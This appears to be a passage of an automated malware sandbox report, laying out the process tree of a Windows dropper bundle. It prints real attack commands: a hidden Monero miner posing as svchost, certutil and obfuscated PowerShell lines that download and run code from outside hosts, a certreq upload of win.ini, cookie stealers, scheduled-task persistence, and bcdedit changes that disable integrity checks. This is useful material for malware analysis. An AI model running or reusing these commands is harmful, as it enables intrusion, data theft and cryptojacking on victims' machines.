C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1764 /prefetch:820⤵PID:6700
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5896 /prefetch:820⤵PID:6892
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4176 /prefetch:120⤵PID:5972
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2652 /prefetch:820⤵PID:6808
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4744 /prefetch:820⤵PID:7100
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4608 /prefetch:820⤵PID:6408
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=5392 /prefetch:220⤵PID:4252
-
-
-
-
-
-
C:\Windows\regedit.exeregedit /s chrome-set.reg16⤵
- Runs .reg file with regedit
PID:3640
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exeparse.exe -f json -b firefox16⤵PID:6164
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exeparse.exe -f json -b chrome16⤵PID:6352
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exeparse.exe -f json -b edge16⤵PID:6520
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-C77UQ.tmp\DataFinder.exe"C:\Users\Admin\AppData\Local\Temp\is-C77UQ.tmp\DataFinder.exe" /Verysilent12⤵PID:5408
-
C:\Users\Admin\Services.exe"C:\Users\Admin\Services.exe"13⤵PID:6612
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-us-east1.nanopool.org:14433 --user=42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s --pass= --cpu-max-threads-hint=50 --donate-level=5 --unam-idle-wait=5 --unam-idle-cpu=0 --nicehash --tls --unam-stealth14⤵PID:5872
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-C77UQ.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-C77UQ.tmp\Delta.exe" /Verysilent12⤵PID:6632
-
C:\Users\Admin\AppData\Local\Temp\is-BUC2E.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-BUC2E.tmp\Delta.tmp" /SL5="$402B0,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-C77UQ.tmp\Delta.exe" /Verysilent13⤵PID:6696
-
C:\Users\Admin\AppData\Local\Temp\is-V3I7J.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-V3I7J.tmp\Setup.exe" /VERYSILENT14⤵PID:6360
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6360 -s 95615⤵
- Program crash
PID:5556
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6360 -s 101215⤵
- Program crash
PID:6304
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6360 -s 102815⤵
- Program crash
PID:4556
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6360 -s 115615⤵
- Program crash
PID:6764
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6360 -s 119615⤵
- Program crash
PID:6864
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6360 -s 130815⤵
- Program crash
PID:6916
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6360 -s 139215⤵
- Program crash
PID:6924
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6360 -s 156415⤵
- Program crash
PID:6884
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6360 -s 150415⤵
- Program crash
PID:5904
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-C77UQ.tmp\zznote.exe"C:\Users\Admin\AppData\Local\Temp\is-C77UQ.tmp\zznote.exe" /Verysilent12⤵PID:4380
-
C:\Users\Admin\AppData\Local\Temp\is-3IQJI.tmp\zznote.tmp"C:\Users\Admin\AppData\Local\Temp\is-3IQJI.tmp\zznote.tmp" /SL5="$50312,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-C77UQ.tmp\zznote.exe" /Verysilent13⤵PID:6464
-
C:\Users\Admin\AppData\Local\Temp\is-9VJDC.tmp\jg4_4jaa.exe"C:\Users\Admin\AppData\Local\Temp\is-9VJDC.tmp\jg4_4jaa.exe" /silent14⤵PID:3604
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-C77UQ.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-C77UQ.tmp\hjjgaa.exe" /Verysilent12⤵PID:5496
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵PID:6984
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵PID:5392
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\okikscni1dv\app.exe"C:\Users\Admin\AppData\Local\Temp\okikscni1dv\app.exe" /8-238⤵PID:4460
-
C:\Users\Admin\AppData\Local\Temp\okikscni1dv\app.exe"C:\Users\Admin\AppData\Local\Temp\okikscni1dv\app.exe" /8-239⤵PID:5172
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"10⤵PID:5104
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes11⤵PID:5116
-
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe /8-2310⤵PID:4992
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F11⤵
- Creates scheduled task(s)
PID:2456
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F11⤵
- Creates scheduled task(s)
PID:1392
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"11⤵PID:6596
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER12⤵
- Modifies boot configuration data using bcdedit
PID:5020
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:12⤵
- Modifies boot configuration data using bcdedit
PID:6900
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:12⤵
- Modifies boot configuration data using bcdedit
PID:4524
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows12⤵
- Modifies boot configuration data using bcdedit
PID:640
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe12⤵
- Modifies boot configuration data using bcdedit
PID:6060
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe12⤵
- Modifies boot configuration data using bcdedit
PID:7000
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 012⤵
- Modifies boot configuration data using bcdedit
PID:6976
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn12⤵
- Modifies boot configuration data using bcdedit
PID:5372
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 112⤵
- Modifies boot configuration data using bcdedit
PID:6256
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}12⤵
- Modifies boot configuration data using bcdedit
PID:7156
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast12⤵
- Modifies boot configuration data using bcdedit
PID:6636
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 012⤵
- Modifies boot configuration data using bcdedit
PID:4856
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}12⤵
- Modifies boot configuration data using bcdedit
PID:6956
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy12⤵
- Modifies boot configuration data using bcdedit
PID:1732
-
-
-
C:\Windows\System32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v11⤵
- Modifies boot configuration data using bcdedit
PID:4868
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe11⤵PID:5448
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\xdvajvvlix1\vict.exe"C:\Users\Admin\AppData\Local\Temp\xdvajvvlix1\vict.exe" /VERYSILENT /id=5358⤵PID:4448
-
C:\Users\Admin\AppData\Local\Temp\is-QHHDL.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-QHHDL.tmp\vict.tmp" /SL5="$10284,870426,780800,C:\Users\Admin\AppData\Local\Temp\xdvajvvlix1\vict.exe" /VERYSILENT /id=5359⤵PID:4696
-
C:\Users\Admin\AppData\Local\Temp\is-7CCQ4.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-7CCQ4.tmp\wimapi.exe" 53510⤵PID:4304
-
C:\Users\Admin\AppData\Local\Temp\uKiK7gA11.exe"C:\Users\Admin\AppData\Local\Temp\uKiK7gA11.exe"11⤵PID:7148
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im uKiK7gA11.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\uKiK7gA11.exe" & del C:\ProgramData\*.dll & exit12⤵PID:7056
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im uKiK7gA11.exe /f13⤵
- Kills process with taskkill
PID:1644
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 613⤵
- Delays execution with timeout.exe
PID:2100
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵PID:6744
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1xbqkygq1q0\itz44bhjqdb.exe"C:\Users\Admin\AppData\Local\Temp\1xbqkygq1q0\itz44bhjqdb.exe" testparams8⤵PID:4592
-
C:\Users\Admin\AppData\Roaming\khnjor2xavq\fxqwxz5mhot.exe"C:\Users\Admin\AppData\Roaming\khnjor2xavq\fxqwxz5mhot.exe" /VERYSILENT /p=testparams9⤵PID:5488
-
C:\Users\Admin\AppData\Local\Temp\is-8TF6K.tmp\fxqwxz5mhot.tmp"C:\Users\Admin\AppData\Local\Temp\is-8TF6K.tmp\fxqwxz5mhot.tmp" /SL5="$30478,329392,58368,C:\Users\Admin\AppData\Roaming\khnjor2xavq\fxqwxz5mhot.exe" /VERYSILENT /p=testparams10⤵PID:5512
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\5uu04ub1s11\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\5uu04ub1s11\chashepro3.exe" /VERYSILENT8⤵PID:4612
-
C:\Users\Admin\AppData\Local\Temp\is-SCL6D.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-SCL6D.tmp\chashepro3.tmp" /SL5="$2027A,1446038,58368,C:\Users\Admin\AppData\Local\Temp\5uu04ub1s11\chashepro3.exe" /VERYSILENT9⤵PID:4744
-
C:\Program Files (x86)\JCleaner\5.exe"C:\Program Files (x86)\JCleaner\5.exe"10⤵PID:4888
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Program Files (x86)\JCleaner\5.exe"11⤵PID:4344
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK12⤵
- Delays execution with timeout.exe
PID:4400
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\210⤵PID:4904
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\211⤵PID:4996
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1aSny7"10⤵PID:4924
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"10⤵PID:4952
-
-
C:\Program Files (x86)\JCleaner\Abbas.exe"C:\Program Files (x86)\JCleaner\Abbas.exe"10⤵PID:4988
-
-
C:\Program Files (x86)\JCleaner\whiterauf.exe"C:\Program Files (x86)\JCleaner\whiterauf.exe"10⤵PID:5036
-
C:\Program Files (x86)\JCleaner\whiterauf.exe"{path}"11⤵PID:4452
-
-
C:\Program Files (x86)\JCleaner\whiterauf.exe"{path}"11⤵PID:4548
-
-
-
C:\Program Files (x86)\JCleaner\Venita.exe"C:\Program Files (x86)\JCleaner\Venita.exe"10⤵PID:5028
-
C:\Program Files (x86)\JCleaner\Venita.exe"{path}"11⤵PID:4276
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1blu3kx4ybc\myaxego3ar3.exe"C:\Users\Admin\AppData\Local\Temp\1blu3kx4ybc\myaxego3ar3.exe" 57a764d042bf88⤵PID:4808
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k "C:\Program Files\LX0BD9VGW8\GCIJ5DLZR.exe" 57a764d042bf8 & exit9⤵PID:5528
-
C:\Program Files\LX0BD9VGW8\GCIJ5DLZR.exe"C:\Program Files\LX0BD9VGW8\GCIJ5DLZR.exe" 57a764d042bf810⤵PID:5588
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\fgkifceu5sy\txdjrw2k3yo.exe"C:\Users\Admin\AppData\Local\Temp\fgkifceu5sy\txdjrw2k3yo.exe" /ustwo INSTALL8⤵PID:4436
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4436 -s 6529⤵
- Program crash
PID:4932
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4436 -s 6689⤵
- Program crash
PID:4784
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4436 -s 6729⤵
- Program crash
PID:2640
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4436 -s 6769⤵
- Program crash
PID:4780
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4436 -s 8969⤵
- Program crash
PID:4728
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4436 -s 9609⤵
- Program crash
PID:5356
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4436 -s 11769⤵
- Program crash
PID:5664
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4436 -s 12169⤵
- Program crash
PID:5716
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4436 -s 12809⤵
- Program crash
PID:5800
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4436 -s 12649⤵
- Program crash
PID:5860
-
-
-
C:\Users\Admin\AppData\Local\Temp\h2vmyk3fi1q\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\h2vmyk3fi1q\askinstall24.exe"8⤵PID:4424
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵PID:4396
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
PID:4876
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\zlnhnlz32hi\vpn.exe"C:\Users\Admin\AppData\Local\Temp\zlnhnlz32hi\vpn.exe" /silent /subid=4828⤵PID:5052
-
C:\Users\Admin\AppData\Local\Temp\is-8OAL1.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-8OAL1.tmp\vpn.tmp" /SL5="$202E8,15170975,270336,C:\Users\Admin\AppData\Local\Temp\zlnhnlz32hi\vpn.exe" /silent /subid=4829⤵PID:4256
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "10⤵PID:6068
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090111⤵PID:4488
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "10⤵PID:4016
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090111⤵PID:5680
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall10⤵PID:2952
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install10⤵PID:5148
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\21nr3lok0is\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\21nr3lok0is\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵PID:4456
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"4⤵
- Executes dropped EXE
PID:1856 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:3676
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:2356
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:1056
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"4⤵PID:3972
-
C:\ProgramData\5072011.55"C:\ProgramData\5072011.55"5⤵PID:3828
-
-
C:\ProgramData\6514074.71"C:\ProgramData\6514074.71"5⤵PID:1188
-
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"6⤵PID:2740
-
-
-
C:\ProgramData\8240059.90"C:\ProgramData\8240059.90"5⤵PID:3956
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"4⤵PID:1136
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:2816
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:692
-
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:588 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding D5ABE72AF00D3769A50E8AD9D3F2786B C2⤵
- Loads dropped DLL
PID:2328
-
-
C:\Users\Admin\AppData\Local\Temp\is-DOOV6.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-DOOV6.tmp\IBInstaller_97039.tmp" /SL5="$3034A,14437942,721408,C:\Users\Admin\AppData\Local\Temp\21nr3lok0is\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq1⤵PID:4660
-
C:\Users\Admin\AppData\Local\Temp\is-5A8SE.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-5A8SE.tmp\{app}\chrome_proxy.exe"2⤵PID:852
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://gemstrue.shop/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=970392⤵PID:4264
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:5384
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:5452
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵PID:204
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵PID:1216
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{07a55b40-e626-1f44-b18d-f402614fe804}\oemvista.inf" "9" "4d14a44ff" "0000000000000174" "WinSta0\Default" "000000000000016C" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵PID:3640
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000174"2⤵PID:4892
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5808
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵PID:4420
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵PID:2132
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:2908
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵PID:1924
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵PID:5928
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:6336
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:4336